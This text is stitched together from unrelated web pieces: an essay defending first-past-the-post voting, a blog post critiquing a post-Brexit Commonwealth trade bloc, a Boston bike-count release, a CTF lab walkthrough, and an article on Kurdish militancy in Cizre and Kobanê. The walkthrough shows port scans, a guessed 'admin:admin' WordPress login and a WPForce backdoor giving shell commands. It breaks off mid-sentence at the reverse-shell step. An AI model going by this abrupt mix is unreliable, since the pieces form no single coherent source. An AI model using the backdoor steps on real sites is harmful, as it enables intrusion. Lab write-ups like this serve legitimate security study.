It has two irreplaceable and unique characteristics. The first is that it provides strong government, constantly challenged by a vigilant and ambitious opposition.
The next is that it allows the people, when enraged or otherwise disappointed by a bad government, to turn it out completely. A peaceful revolution, immensely good for the people and the politicians themselves, is possible every five years and likely every 15 or so.
I cannot tell you what joy it gives me to see a man who was Prime Minister yesterday, powerless the next, supervising only the removal of his furniture from Downing Street.
Proportional systems cannot do this, except in very exceptional circumstances. In a proportional system, the leader you loathe could well end up premier of a new and different coalition later.
All such coalitions tend to be ludicrously unprincipled, based upon short-term deals. Israel offers the best example of this, with governments often the prisoners of factions they hate.
By the way, FPTP undoubtedly forces the formation of open and largely predictable pre-election coalitions, as opposed to the post-election coalitions, whose nature the electorate cannot even guess at, of PR. In this transition,as the FPTP system tries to spit out the dead Labour and Tory Parties, we get a taste of this. But we have no need to put up with it forever. The problem is caused *by* those parties, with their ludicrous unprincipled alliances and their inertia-driven refusal to admit that they no longer stand for anything anyone wants.
PR also entrenches small dying parties. Look at the Scottish Tories, a grouplet that ostensibly stands for policies that will never again be implemented in Scotland, and for a Union which is all but dead.
Yet thanks to PR, they still offer a career, and broadcasting access, to anyone who is prepared to accept such things on such terms. On my last visit to Cairo I was shown the shabby but central building which still houses the headquarters of the Nasserite party, which remains alive long after its leader and inspiration is forgotten by the world. I believe that a combination of state aid for parties and PR, such as are sought by thoughtless reformers here, allows this party to maintain a salaried bureaucracy.
The point about FPTP is that it favours two strong parties, and has hiccups when it does not have two strong parties. But that is not an argument for getting rid of FPTP. It is an argument for hastening the collapse of those dying parties, by banning millionaire contributions, by ending state aid, by reducing the airtime they get on TV, and for us ceasing to vote for those dying parties.
It is not an argument for destroying our constitution. Why should we do that because Tory and Labour Parties have both ceased to speak for anyone? Surely they, not we, should pay the price for their failure?Debunking Liam Fox’s post-Brexit Commonwealth trading block, using maps
The speculation over the nature of EU trade post-Brexit has been wide, varied, and often contradictory. Ranging from all-out access to the EU’s single market, to more daunting no-deal scenarios. In an attempt to sure-up some type of positivity about British exports, many senior government officials have set their targets for new trade deals to outside of the EU-28. With an aim to mitigate any potential impact to UK trade. Most notably Liam Fox, Secretary of State for International Trade, who has looked into the past rather than the future so solve the issues of post-Brexit Britain.
Dubbed Empire 2.0, Fox wants to rekindle relationships with the old colonies to increase trade and importantly for the economy: Exports[1]. While I personally prefer ‘The Empire Strikes Back’ both as name and as a narrative comparison for this plan, it has certainly been a focus for Fox’s department. The Department for International Trade (DIT) modus operandi is to look for new potential trade agreements for far away Commonwealth countries to replace the lost European markets if negotiations go terribly, terribly wrong.
Unfortunately, while the rhetoric sounds grand, it’s a bunch of complete drivel. Drawn up from the notes of a history lesson on the “grand British Empire” from the 1950’s, as opposed to the modern workings of international trading markets. This post isn’t against the idea of a Commonwealth trading block (trade is good), but instead acts to counter the faulty logic that so many people have put their hopes on in the assumption that “the UK will be just fine, or better!!”.
The current trend doesn’t match the rhetoric
So here are some facts. Firstly, commonwealth countries don’t buy that many UK products in the grand scheme of things. Below is an interactive map I created using 2015 ONS data, and modelled into Tableau. The more red the country, the more exports they buy from the UK.
Interactive Map: https://public.tableau.com/views/ExportsfromtheUK/Sheet1?:embed=y&:display_count=yes
While the UK’s export market quite diverse, but by no means does any commonwealth country come in the top 5 of the UK’s current export markets. Focus on Commonwealth countries with the biggest GDP’s: India, Canada, Austria, & South Africa. Markets which the UK would really need strong existing trade links with in order for Fox’s plan to be feasible. Yet, the exports to these countries are simply not high enough to support Fox’s projected expectations.
The reason for this is actually incredibly simple, “if you double the distance between the two countries, you’ll basically half the trade”. This is called the Gravity Equation in international Trade (see paper here: http://publications.ut-capitole.fr/15395/1/distance.pdf). Basically, world trade is dependent on communication, speed, and transport links between countries, which is extremely difficult when the country you wish to trade with is half way across the world.
*ring ring* Is that reality calling? No it’s Liam Fox waking up an Australian at half 3 in the morning trying to shift some sausages
In summary, the first issue here when we look at our map is that the important Commonwealth counties are too far away to support trade on the level we have with our current EU partners. The transportation of goods would be too costly to be efficient. Anyhow, Commonwealth countries are closer to upcoming BRIC countries. In most instances, there are other countries that are much more important for their economic futures, and more importantly, geographically closer than the UK.
Ok, says Liam Fox, who has argued that we are now in a “post-geography trading world” (this tag-line was from the same slogan department as the ‘red, white, and blue Brexit?’ I bet it bloody was) and that the services industry, in which trade of financial and digital products is now borderless and instant. The dream of a commonwealth trading block might be saved by technology.
Unfortunately, this is also bollocks.
In 2015, UK exports within the service industries amounted to £229,862m. This is made up of 12 industries, only four of these can be identified as “post-geographical” (cringe): Insurance & pensions; Financial; Intellectual Property; and Telecommunications, Computers & IT services. Which make up £98,976m (Only 43% of the total service industry). But here is the real kicker, the major importer of our post-geographical services are EU nations (£45,258m) followed by the US (£22,625m). If Liam Fox’s plan was to work, countries such as India (£673m), South Africa (£873m), & Australia (£1,105m) would need to be heavy importers of these goods. But nope.
Indeed, when we look at countries who are purchasing UK post-geographical (cringe) products, the familiar pattern returns. Lots of far away importers.
Interactive Map: https://public.tableau.com/shared/Q86QZQM3B?:display_count=yes
Tackling the rhetoric on the Commonwealth trading block
So where is this rhetoric about the magic rise of a Commonwealth trading block as a like-for-like replacement for EU trade coming from? The idea has been lingering around by euro-sceptics for decades, but this writing by Ruth Lea, a prominent Eurosceptic campaigner, on the Conservative Home website is quite telling. Analysing the text, we can find two key themes:
Rhetorical Patriotism & antiquated mind-set: The grand old days have always been home to those who see themselves as traditional patriots. Pax Britannia, stiff upper lips, the pragmatic mind-set may not be present in Ruth’s particular text. But the underlying assumption that Commonwealth countries have a shared common goals under the soft-power leadership of their former colonial master is quite dated. It’s almost assumed by the likes of Liam Fox that Commonwealth countries automatically want trade with the UK.
The truth is quite the opposite – take for example the Commonwealth Heads of Government Meeting in 2011, and the proposal for the Eminent Persons Group report, calling for the 54 nation body to improve human rights – rejected by South Africa, Namibia, and India on fears of “imperial overtones”.[2] evidence that these countries won’t blindly follow the UK into an agreement. They have their own agendas, and most importantly, they are fully autonomous countries with their own will. It goes further than that, the voting records by the countries within the U.N signify that the Commonwealth isn’t any type of meaningful political grouping on the world stage. Instead, the voting records would indicate that Commonwealth countries will vote along the more traditional North-South divide. In short, it’s taken for granted in the inferences of the rhetoric used that Commonwealth states are in some way subservient, as if the history and GDP rankings are the sole measures of international soft power. Or that they see the world through red, white, and blue glasses. I’m sure when negations start they will be in to a shock.
The second is the blame game: It’s the EU’s fault that the UK doesn’t already have these deals. My only answer to that is simple. One, the EU granted the UK access to 1/3 of the worlds markets by value. Two, the EU additionally granted the UK access to 50 other countries outside of the EU, this already includes some Commonwealth states such as South Africa. Through the EU’s additional deals that are currently in the works, we would be granted access to an even broader global market. If Liam Fox can do better than that, well, I’d eat my PhD thesis (when that’s done).
All-in-all, the notion of a grand Commonwealth trading block under the leadership of Britain looks unfeasible in two key ways. Firstly, there is little evidence to suggest trade with the Commonwealth will magically arise to meet the gap caused by Brexit. Secondly, there is the assumption that these countries want a trading deal with the UK as Liam Fox envisages. So when you here people cry for joy at the notion, here is some evidence that should keep you a little skeptic.
[1] https://www.gov.uk/government/speeches/commonwealth-trade-ministers-meeting-towards-a-free-trading-future
[2] https://www.theguardian.com/world/2011/oct/29/commonwealth-meeting-human-rights-disgrace
Other sources
https://theconversation.com/push-for-a-commonwealth-trading-bloc-further-politicises-free-trade-71801
http://thecommonwealth.org/media/press-release/new-report-reveals-commonwealth-edge-trade
http://www.conservativehome.com/thecolumnists/2011/10/ruth-lea-as-the-eu-squabbles-the-commonwealth-looks-even-more-enticing-1.html
http://europa.eu/rapid/press-release_MEMO-13-1080_en.htm
http://www.cbi.org.uk/business-issues/brexit-and-eu-negotiations/eu-business-facts/10-facts-about-eu-trade-deals-pdf/The Boston Transportation Department today released data from its 2016 bike count program. In late September, BTD counted an average of nearly 30,000 bike trips per day at over 60 locations across the City. In some locations, bike traffic accounted for more than 15% of vehicles during peak commute times.
"Bicycling is a healthy and low-cost form of transportation and we are pleased that so many people are choosing bikes to get around the City,” said Boston Transportation Commissioner Gina N. Fiandaca. “We are working to make bicycling more convenient, comfortable, and accessible to people throughout Boston, and these counts will help us to track our progress and plan for future enhancements to our bicycling programs."
Of the 60 sites counted in September, the following saw the highest average numbers of people riding bikes each day:
Massachusetts Ave Bridge south of Back St: 3,081 bicyclists BU Bridge north of Commonwealth Ave: 1,957 bicyclists Commonwealth Ave west of Silber Way: 1,571 bicyclists Southwest Corridor Bicycle Path south of Heath St: 1,554 bicyclists Longwood Ave east of Pilgrim Rd: 1,348 bicyclists North Harvard St south of Soldiers Field Rd: 1,320 bicyclists Columbus Ave west of Massachusetts Ave: 1,314 bicyclists Brighton Ave east of St. Lukes Rd: 1,063 bicyclists Columbus Ave west of Holyoke St: 825 bicyclists Massachusetts Ave south of Columbus Ave: 797 bicyclists
BTD uses multiple data sources to measure the growth of bicycling in the City, including: commuting surveys, daily Hubway bike share use, and the annual bike count program. In the past, its annual bike counts were conducted by volunteers at up to 31 locations during 2 hours of AM and PM peak commute times. In 2016, a fully automated count system was introduced at 24 locations in June. In September, the full program was implemented at 60 locations across the City for up to 72 hours at each location.
"Automated counts allow us to capture bike trips taken throughout the day and in all kinds of weather," noted Stefanie Seskin, BTD's Active Transportation Director. "This better reflects where people are riding today and will help us to understand where they'll ride in the future."
More information about the 2016 count program, including daily summaries from every count location, can be found at boston.gov/2016-bike-counts.A relatively new set of VulnHub CTFs came online in March 2017. This post is about the first and easiest one, named “Quaoar“.
This post will be a walk-through of my exploitation of this system.
The first thing I like to start off with on any box is a full TCP port scan. When you boot up the VM, it shows you the IP it gets from DHCP.
root@kali:~# nmap 10.0.1.21 -sV -p- Starting Nmap 7.25SVN ( https://nmap.org ) at 2017-03-17 22:32 EDT Nmap scan report for 10.0.1.21 Host is up (0.000089s latency). Not shown: 65526 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0) 53/tcp open domain ISC BIND 9.8.1-P1 80/tcp open http Apache httpd 2.2.22 ((Ubuntu)) 110/tcp open pop3 Dovecot pop3d 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 143/tcp open imap Dovecot imapd 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) 993/tcp open ssl/imap Dovecot imapd 995/tcp open ssl/pop3 Dovecot pop3d MAC Address: 00:0C:29:C7:A8:C1 (VMware) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Seeing there is a web port open, a examine it first. Viewing the source code is not particularly interesting:
<div> <a href="Hack_The_Planet.jpg"> <img src="Quaoar.jpg" width="100%" height="100%"/> </a> </div>
The next thing I typically check is the robots.txt file to see if there are any interesting entries. In this case, there were.
Disallow: Hackers Allow: /wordpress/ ____ # /___ \_ _ __ _ ___ __ _ _ __ # // / / | | |/ _` |/ _ \ / _` | '__| #/ \_/ /| |_| | (_| | (_) | (_| | | #\___,_\ \__,_|\__,_|\___/ \__,_|_|
For good measure, I also run Nikto and Dirbuster.
root@kali:~# nikto -host http://10.0.1.21 - Nikto v2.1.6 --------------------------------------------------------------------------- + Target IP: 10.0.1.21 + Target Hostname: 10.0.1.21 + Target Port: 80 + Start Time: 2017-03-17 22:33:27 (GMT-4) --------------------------------------------------------------------------- + Server: Apache/2.2.22 (Ubuntu) + Server leaks inodes via ETags, header found with file /, inode: 133975, size: 100, mtime: Mon Oct 24 00:00:10 2016 + The anti-clickjacking X-Frame-Options header is not present. + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type + Retrieved x-powered-by header: PHP/5.3.10-1ubuntu3 + Entry '/wordpress/' in robots.txt returned a non-forbidden or redirect HTTP code (200) + "robots.txt" contains 2 entries which should be manually viewed. + Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current. + Uncommon header 'tcn' found, with contents: list + Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html + Allowed HTTP Methods: GET, HEAD, POST, OPTIONS + OSVDB-3233: /icons/README: Apache default file found. + /wordpress/: A WordPress installation was found. + 8348 requests: 0 error(s) and 13 item(s) reported on remote host + End Time: 2017-03-17 22:33:41 (GMT-4) (14 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Browsing to the WordPress site shows a pretty simple page. Now, anytime I see a WordPress site I usually run straight to WPScan, but it this case, I just tried to guess the username and password. It was simply “admin:admin.”
As it turns out, I had built a suite of tools for WordPress post-exploitation, and this was just the time to use them. I went and grabbed the WPForce code off of github and ran Yertle.
root@kali:~# git clone https://github.com/n00py/WPForce.git Cloning into 'WPForce'... remote: Counting objects: 137, done. remote: Compressing objects: 100% (75/75), done. remote: Total 137 (delta 60), reused 137 (delta 60), pack-reused 0 Receiving objects: 100% (137/137), 101.64 KiB | 0 bytes/s, done. Resolving deltas: 100% (60/60), done. Checking connectivity... done. root@kali:~# cd WPForce/
root@kali:~/WPForce# python yertle.py -u admin -p admin -t http://10.0.1.21/wordpress --interactive _..---.--. __ __ _ _.'\ __|/O.__) \ \ / /__ _ __| |_| | ___ /__.' _/.-'_\ \ V / _ \ '__| __| |/ _ \. (____.'.-_\____) | | __/ | | |_| | __/ (_/ _)__(_ \_)\_ |_|\___|_| \__|_|\___| (_..)--(.._)'--' ~n00py~ Post-exploitation Module for WordPress Backdoor uploaded! Upload Directory: dlerjql os-shell> id Sending command: id uid=33(www-data) gid=33(www-data) groups=33(www-data)
I was able to then send commands to the server and have them execute. Wanting a full shell, I used the reverse shell option and caught the |
that they must have been kept in the dark about what was actually transpiring in Kurdistan. At the tail end of the Gezi resistance, when a Kurdish youth named Medeni Yıldırım was killed protesting the construction of a fortress-like police station in Kurdistan, the movement saw him as one of its own and organized solidarity demonstrations with the Kurds.
This furious yet joyous rebellion, initiated by a generation that came of age under successive unstable coalition governments only to become adults under Erdoğan’s decade-long iron rule, served to consolidate hatred against Erdoğan. This generation had been defined as apolitical or even anti-political, but in reality they were what Şükrü Argın has identified ascounter-political.
Kurdish activists take shade from the scorching heat under a stage during an encampment on the Turkish-Syrian Border, July 2014.
The Wild Youth of Kurdistan
Cizre is the epicenter of a region in Northern Kurdistan called Botan. The towering mountains in this region are the location of many PKK camps, and the towns at their base are some of the most rebellious. Cizre in particular continues to play an important role to this day. Cizre is where the 4th Strategic Struggle Period of the PKK materialized, shifting the point of conflict from mountainous landscapes dotted with guerrilla camps to urban epicenters in which cells of Kurdish militants organized.
In June 2013, in the town of Cizre, a group of 100 youth standing ceremonially in formation announced the beginning of the Revolutionary Patriotic Youth Movement (YDG-H).7 7. The word for “Patriotic” in YDG-H is yurtsever, which means more accurately “one who loves his or her homeland.” With members ranging from their early teens to well into their twenties, this new organization coordinated urban guerrilla activity within every major metropolitan center inside Turkish borders. Kurdish youth began to employ Molotov cocktails instead of stones. The recent spike of urban combat in Kurdish towns and neighborhoods can be attributed to this new organization. Rebellious Kurdish youth were especially effective October 6–8, 2014, when it appeared that the city of Kobanê in Rojava was about to fall to ISIS. With the sanction of the official Kurdish leadership, Kurdish youth went on the offensive, devastating state forces. The implicit demand in the riots was for Turkey to stop providing logistical and material support to ISIS, and to allow Kurdish forces passage across its borders—for example, by allowing some heavier artillery to cross Turkey to reach Kobanê from Iraq. After the deaths of fifty people and the imposition of curfews in six different cities and martial law in the Kurdish capital of Amed, the Turkish government finally permitted the Iraqi Kurdish Peshmerga of the KDP to reach Kobanê with their weapons.
https://www.youtube-nocookie.com/embed/PuIfo1AyNCo?rel=0 Announcing the formation of the YDG-H in Cizre.
There are great political differences between the PYD and by extension the PKK and the KDP, the current regime of Kurds in Northern Iraq who have had autonomy since the first Gulf War in 1991. The PKK/PYD are fighting for a social revolution based on self-governance, self-defense, autonomy, and women’s liberation, with an emphasis on ecology and a critique of all hierarchies, most notably state power. The KDP, on the other hand, is cultivating a national Kurdish bourgeoisie and acts as a close ally of Erdoğan. In the 1990s, the KDP fought together with Turkey against the PKK. Tensions remain high.
The YDG-H is perhaps strongest in Cizre. After the uprising in defense of Kobanê, Cizre entered the national discourse again when youth rose up following the funeral of Ümit Kurt, taking control of the three neighborhoods of Sur, Cudi, and Nur. They were able to create an autonomous zone within these neighborhoods for two months by digging a total of 184 ditches around their neighborhoods. The Turkish state effectively lost control of this area as the youth took over, burning down at least five buildings belonging to the state or its associated interests—including a school where many of them were also students.
On a tour of Cizre, I asked some of the members of YDG-H why they dug ditches rather than building barricades, the traditional revolutionary method of asserting autonomy since time immemorial. My host, Hapo, explained that since the youth are armed with AK–47s, rocket-propelled grenades, and small arms, the police cannot exit their armored vehicles, but they can still plow through barricades. But again, since they cannot exit their vehicles, they also cannot traverse the ditches. Hapo described how at first they used pickaxes and shovels to excavate these ditches, but then they commandeered construction vehicles. The construction vehicles of the municipal government, he said, sneaking a subtle smile. I realized he meant the municipal government belonging to the aboveground political party of the Kurdish Movement, the HDP.
The wild youth of Cizre are organized into “teams” of around ten individuals. Hapo told me that once the number of a team grows to more than thirty, they split into smaller groups. The teams take their names form Kurdish martyrs, often recent ones and sometimes from Cizre itself—an eerie reproduction of martyrdom and militancy. Teams claim their territory by tagging their names on walls, much as graffiti crews do elsewhere around the world. During the high point of clashes, each neighborhood establishes a base where explosives, Molotov cocktails, and weapons are stockpiled during the day in preparation for the confrontations that occur at night. The younger children are sometimes on the front lines throwing rocks at armored police vehicles, but they are always the ones who sound the alarm by running through the neighborhood shouting: “The system is coming! The enemy is coming!”
The division is clear for the Kurdish militants both in the personal and the political. There is the system, and there is struggle. Students leave the system (universities) in order to join the struggle. The system and capitalist social relations inevitably corrupt all forms of romantic love; hence, real love is love for your people, for whom you struggle. Young militants twenty years of age are not allowed to succumb to their carnal desires or fall in love. If they do, and they are honest about it, they will have to provide a self-criticism and hopefully get away with a punishment only involving a further, perhaps collective, self-criticism session on the platform, as they say in the PKK.
It is clear that the PKK is at a turning point: a new generation of militants is hitting the streets, transforming the character of the movement. Perhaps the formation of the YDG-H was a way for the old guard to assert more control over the rebellious youth of the Kurdish slums. Even if such a strategy was at play, the youth are proving hard to control; the official leadership is acknowledging that there are groups acting outside of their directives. Only Öcalan himself could reign them in. The future of the PKK and the Kurdish movement will be determined by this rebellious youth: will they will follow the party line lockstep, or come up with their own ideas?
Ultimately, Öcalan had to intervene for the ditches to be closed on March 2, 2015. When I brought this up to Hapo, who consistently expressed skepticism about the official leadership of the HDP and the peace process, he said that Apo is the line they don’t cross, and that their insurrection in Cizre has strengthened his negotiating hand within prison. I was left wondering how much of the leadership cult around Öcalan has to do with his imprisonment, and whether the democratic structures being put in place constitute an attempt to abolish himself as the leader.
On September 4, the Turkish military and police invaded Cizre and declared a curfew which would last for nine days. They enforced this curfew by placing snipers on the minarettes of mosques to shoot anyone out on the streets. The siege was only broken under the pressure of a march organized by Kurds from surrounding towns, which was joined by the HDP’s parliament members. When people finally entered the town, they found 21 civillians dead, 15 of whom died on the spot after being shot; the others died from their wounds or other illnesses because they could not get to the hospital. Among them was a 35-day-old baby and a 71-year-old man who had attempted to get bread during the curfew. The three rebellious neighborhoods of Nur, Sur and Cudi were riddled with bullets and larger ammunition. The state blamed the PKK for the deaths, although not one member of the state forces was injured—giving the lie to the pretense that the neighborhoods were filled with “terrorists.” This latest massacre in Cizre will be remembered for a long time and fuel the Kurdish movement.
Cizre. The snow-capped mountains in the distance are the mountains of Cudi, where the PKK holds their positions.
The Revolution in Kurdistan
Like the movements that preceded it, Gezi took great inspiration from the uprisings in Egypt, Tunisia, and the Arab Spring that were able to topple dictators swiftly. Although Erdoğan still sits on his throne in the palace he built for himself for over a billion dollars, Gezi was not a complete failure, as it opened a new space for joyful revolt in Turkey’s future. Syria, another country that rose up during the Arab Spring, seems to have experienced a similarly bittersweet outcome. Bashar Al Assad crushed the rebellion in the central cities of Syria, while the periphery was thrown into a brutal civil war that opened up the stage for jihadist groups from Iraq and elsewhere to arrive and eventually converge under the banner of ISIS.
The silver lining in Syria was supplied by the Kurds in Rojava, who had been organizing clandestinely for decades to support the PKK in the north and to establish their own political and military structures. As in Turkey, the Assad regime did not permit the expression of the Kurdish identity or education in the mother tongue, underscoring the similarity between Kemalism and Baathism. A massacre in the city of Qamishlo, in which the Syrian regime killed 52 people after a soccer riot on March 12, 2004, is often cited as the forebear of the Rojava revolution. The main Kurdish political party, the PYD, is for all intents and purposes the sister organization of the PKK; Öcalan’s portrait is ubiquitous in Rojava.
The PYD and others organized under the banner of Tev-Dem (Movement for a Democratic Society) took advantage of the approaching instability in Syria to declare autonomy on July 19, 2012. It was a relatively smooth operation, as preparatory meetings had already taken place in mosques throughout the region: more of a takeover than a battle. They organized themselves into three cantons running along the Turkish border, separated from each other by primarily Arab regions. These cantons are Afrin in the west, Kobanê in the center, and Cizire in the East. It was almost unbelievable that after decades of fighting, the Kurds—now in pursuit of Democratic Confederalism—had claimed their own territory.
Öcalan’s Democratic Autonomy and Confederalism is the vision being implemented in Rojava. Autonomy, ecology, and women’s liberation are the three central points of emphasis. The most basic unit of this new society is the commune. Communes exist from the neighborhood level to workplaces including small petroleum refineries and agricultural cooperatives. There are communes specific to women, such as the Women’s Houses. All these communes are organized into assemblies that go up to the cantonal level. The current economic model in Rojava is mixed: there are private, state, and communal properties. In the Rojava Social Contract (something akin to their constitution), private property is not fully disqualified, but it is said that there will be limits imposed upon it. It is a society still in transition; so far, it is much more anti-state than anti-capitalist, but it is undeniable that there is a strong anti-capitalist push from within. Time will show how far the revolutionaries of Rojava are willing to take it.
The revolution in Rojava is a women’s revolution; the Kurdish movement for liberation places women’s liberation above anything else. In addition to having their own army and autonomous women-only organizations, almost every organizational structure from the municipal governments to the armed PKK formations is run by co-chairmanship of a man and a woman. Quotas are imposed for memberships and other positions, so that equal participation from both genders is ensured. March 8, International Women’s Day, is taken very seriously by Kurdish women, and even more so now with the women’s resistance exemplified by the YPJ (Women’s division of the People’s Defense Units—the YPG). In his writings, Öcalan recognizes patriarchy and the separation of genders as the first social problem in history. Perhaps paradoxically, many Kurdish women militants attribute their liberation to Öcalan and his thought.
YDG-H youth on the border between Turkey and Syria.
The Fighters
Even though the Kurdish seizure of power in Rojava went smoothly, the honeymoon was brief. After capturing a large amount of military machinery from Mosul on June 10, 2014, ISIS pushed north in Iraq and in Syria. With its advance came stories of massacres, enslavement, displacement, and rape. A month and a half later, in August, ISIS reached the Yazidi population, a non-Muslim Kurdish speaking community near the Sinjar Mountains, where they killed thousands and displaced near 290,000 people, 50,000 of whom were stranded on mountains without food or water. ISIS fighters seemed especially keen on wiping out this population belonging to a pre-Islamic faith with many animistic aspects, who had been persecuted for centuries as devil worshipers, withstanding more than seventy massacres in their history. The Iraqi Kurdish Regional Government lacked the agility to intervene with its peshmerga forces—in contrast to the PKK, who mobilized rapidly, traveling across the country from its main base on the Iraqi-Iranian border in Qandil. In coming to the rescue of the Yazidi and arming and training this population for self-defense, the PKK gained credibility in the region run by Barzani and his KDP. Despite the tensions between regional Kurdish forces, all the stories and images ISIS circulated through social media had the effect of unifying the once disparate Kurds, as the PKK/YPG joined with the KDP in an uneasy alliance.
Of all of the Kurdish armed forces, the YPG is the newest. The people’s defense forces were formed shortly after the revolution, and their numbers quickly swelled with volunteers joining to defend Kurdish territories from ISIS. This wartime mobilization is also supported by conscription, which has started to create tension among young people who are not interested in fighting or who say they have already done their military service with the Assad Regime. But beyond this simmering point, in places such as Kobanê, the YPG and the YPJ are comprised of people defending their own towns and cities.
Kobanê became ground zero in the resistance as ISIS closed in little by little, taking villages on the outskirts of the city thanks to their recently obtained military superiority. ISIS was especially keen to capture Kobanê, as it occupies the most direct route between the Turkish border and the de facto ISIS capital of Raqqa. In addition, Kobanê was also the launching point of the revolution in Rojava. The YPG and YPJ offered a heroic resistance with the little firepower they had, mostly small arms supported by rocket-propelled grenades and the higher-caliber Russian Dushkasmounted on the backs of pickup trucks. As they retreated further and further into the city proper of Kobanê, the YPG and YPJ reached near-celebrity status, thanks in part to the West’s romanticization and objectification of YPJ women fighting the bearded hordes of ISIS. Everyone from prominent leftist academics to Marie Claire magazine, who featured the YPJ (to the snickering of YPJ members in Kobanê), started singing the praises of the Kurdish fighters.
One has to admit the neatness of the contrast on the Rojava battlefield: a feminist army courageously resisting misogynist bands of fundamentalists. Apparently, many fighters within ISIS believe that if a woman kills them, they will not enter heaven as glorious martyrs. This belief is known by the members of the YPJ and used in a form of psychological warfare on the front lines. The women of the YPJ make it a point to sound their shrill battle cry, a well-known Kurdish exclamation of rage or suffering called zılgıt, before they enter into battle with ISIS. They are making sure the jihadists know they are about to be sent to hell.
Hundreds of Kurds from Turkey crossed the border to join the YPG forces defending Kobanê alongside PKK guerrilla units that moved into the region. Turkish leftists also started making the journey, becoming martyrs themselves. In one case, Suphi Nejat Ağırnaslı, a sociology student at one of the most prestigious universities in Istanbul, influenced in his own writings by the French journal Tiqqun, went to Rojava only to be martyred after a few weeks. The nom de guerre he had chosen was Paramaz Kızılbaş, a synthesis of the name of a well-known Armenian socialist revolutionary executed by the Ottomons and the Alevi faith, historically repressed in Turkey. This exemplifies the character of solidarity in the region: a Turkish revolutionary, assuming the name of an Armenian one, going to defend the Kurdish revolution.
As reported in the Western media, many Americans and Europeans also made the journey to join the ranks of fighters in Rojava. Some integrated into the YPG or YPJ; others joined other units, such as the United Freedom Forces (BÖG), comprised of communists and anarchists. Apart from international revolutionaries arriving in solidarity with the Kurdish struggle for liberation, there are also ex-military or military wannabes from the UK or the US who believe that the war against Islamic extremists that they were tricked out of by corrupt British and American governments has finally arrived. Some of these internationals have started to warm to the political philosophy of Democratic Autonomy as practiced by their comrades-in-arms; others quickly got out, realizing they were among “a bunch of reds.”
The international revolutionaries fighting alongside their Kurdish comrades will return to their homelands with strategic experience in the battlefield and a renewed sense of inspiration and perspective on what is possible when people commit themselves to liberation.
In the middle of fall 2014, it appeared that Kobanê was about to fall. Solidarity demonstrations were held globally. Riots shook Turkey to pressure Erdoğan to stop supporting ISIS. In the meantime, meetings were held between the regional powers to figure out a response. YPG members in Kobanê recount that it appeared to be a matter of hours before the city would fall; they retreated to a central part of the city, gathering their ammunition to be destroyed rather than captured by ISIS. It was at that moment, rather than a month earlier when ISIS had not even entered the city, that the much-promised US and French airstrikes finally began in earnest.
Beyond a doubt, without that aerial support, the minimally-armed YPG forces would not have emerged victorious. The fact that the bombardment came at the very last possible minute shows that, aside from whatever backroom negotiations and deals were taking place, NATO countries did not want an ISIS victory; but at the same time, they apparently wanted the Kurds to inherit a completely destroyed city.
NATO assistance in the Kurdish self-defense is a touchy subject, to say the least—especially considering that the capture of Öcalan was understood as a NATO operation. When this reality is brought up among YPG members in Kobanê, they first joke about “Comrade Obama.” Pushed further, they point out that while the US and Israel are bad, they aren’t nearly as bad as the Arab Regimes. But really, at the end of the day, it is simply a matter of survival. Ideally, the YPG would be able to obtain the necessary weaponry to mount their own defense; but lacking that, if the question is between ideological purity and survival, the choice seems clear.
YPG fighters look for things to salvage after capturing a tank from ISIS.
Kobanê
Immediately after its liberation from ISIS, Kobanê was a war-torn ruin in which most buildings had lost their upper floors to artillery fire. Aerial bombardment by coalition forces also did significant damage. Mahmud, a friend and comrade from Kobanê, showed me around the city he had never left in his life; his eyes filled with tears as he remembered all his friends who died in those streets. We were walking in a ghost town where the only people we saw were fighters or the small number of holdouts who had stayed behind or just returned from refugee camps in Turkey. They could be seen digging through the rubble, trying to salvage anything from the wreckage. Unexploded munitions and booby traps left behind by ISIS continued to kill even after their departure, with at least ten dead in the first two weeks following the city’s liberation. Despite the high toll paid by the Kurds—the number of fighters killed was above 2000—there was a sense of excitement and victory in the air, as news came in daily of ISIS units being pushed back further and further.
Mahmud is one of three brothers, all of whom are members of the YPG in one role or another. Like practically all of the YPG who have been through the conflict, they have shrapnel in their bodies and hearing loss from explosions and gunfire. An experienced machinist by training, he found a role in the ranks as a gunsmith—not only fixing weapons, but also manufacturing new designs, especially long-range sniper rifles. Yet he was only able to play this part until ISIS entered the city limits of Kobanê. After that, everyone took up arms to fight, including his 13-year-old shop assistant.
Stories of heroism are everywhere, from the sniper who blew up an ISIS tank by shooting his round into its muzzle to others who gallantly climbed on top of another tank to throw a grenade down its hatch. Stories pile upon stories as Mahmud takes me through the city streets, narrating the months-long battle of Kobanê. During one stretch, he didn’t sleep for five days straight—not only because they were under consistent attack, but also because he was so afraid. He said that at one point he wanted to die just so it would be over. From his platoon of about a hundred people, only four are still alive; we spend many hours looking at pictures of his fallen comrades on his phone. Many of the YPG have smartphones, including Mahmud and his brother Arif, who would be reprimanded by their commander for checking Facebook while they were engaged in trench warfare. His brother Arif was a sniper. But he left the YPG after the trauma of shooting a comrade by mistake.
The stench of death was strong in some neighborhoods, with bodies still under the wreckage and the corpses of ISIS fighters rotting alongside roads littered with abandoned tanks destroyed by the YPG. To prevent the spread of disease, the bodies of ISIS fighters were usually burned; but the sheer number of corpses made it impossible to deal with all of them. Even surrounded by all this death and carnage, joyful moments were common, perhaps due to the news of advances arriving from the front. We spent our evenings hunting chickens with M16s for dinner, then smoking nargileafter nargile, singing around a fire, waiting for the sun to rise over the Turkish border in the distance.
National Liberation from Borders
